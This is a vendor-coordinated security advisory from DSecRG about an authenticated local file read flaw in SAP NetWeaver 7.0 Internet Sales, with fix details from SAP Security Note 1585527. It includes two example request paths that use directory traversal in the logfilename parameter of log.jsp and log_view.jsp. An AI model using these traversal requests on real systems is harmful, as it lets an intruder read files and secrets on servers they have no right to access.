SAP NetWeaver Internet Sales – local file read

SAP NetWeaver 7.0 Internet Sales (crm.b2b) has local file read vulnerability.


Digital Security Research Group [DSecRG] Advisory ВDSECRG-12-012 (Internal DSecRG-00201)

Application: SAP NetWeaver 7.0 
Versions Affected: SAP NetWeaver Internet Sales
Vendor URL: http://SAP.com
Bugs: Local file read
Exploits: YES
Reported: 15.02.2011
Vendor response: 16.02.2011
Date of Public Advisory: 17.02.2012
CVE-number: 
Author: Dmitriy Chastukhin from DSecRG (research center of ERPScan)

Description
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SAP NetWeaver 7.0 Internet Sales (crm.b2b) has local file read vulnerability.

Details
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Vulnerability found in log.jsp, log_view.jsp page
Authenticated user can read any file from the OS which the SAP user <SID> can get access to.

Example:
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/b2b/admin/log.jsp?key=viewlog&command=init&logfilename=../../../../../../../../../../../../../test.txt

/b2b/admin/log_view.jsp?command=init&logfilename=../../../../../../../../../../../../../test.txt

References
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http://dsecrg.com/pages/vul/show.php?id=412

http://www.sdn.sap.com/irj/sdn/index?rid=/webcontent/uuid/c05604f6-4eb3-2d10-eea7-ceb666083a6a

https://service.sap.com/sap/support/notes/1585527

Fix Information
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Solution to this issue is given in the SAP Security Note 1585527

About DSecRG
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The main mission of DSecRG is to conduct researches of business critical systems such as ERP, CRM, SRM, BI, SCADA, banking software and others. The result of this work is then integrated in ERPScan Security Scanner. Being on the top edge of ERP and SAP security
DSecRG research helps to improve quality of ERPScan consulting services and protects you from the latest threats. 
Contact: research [at] dsecrg [dot] com

http://www.dsecrg.com 

About ERPScan
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ERPScan is an innovative company engaged in the research of ERP security. It develops products for ERP system security assessment. Apart from this, the company provides consulting services for secure configuration, development and implementation of ERP systems,
and conducts comprehensive assessment and penetration testing of custom solutions.
Our flagship products are "ERPScan Security Scanner for SAP" and "ERPScan Online" service which can help customers to perform automated security assessments and compliance checks for SAP solutions.
Contact: info [at] erpscan [dot] com

http://www.erpscan.com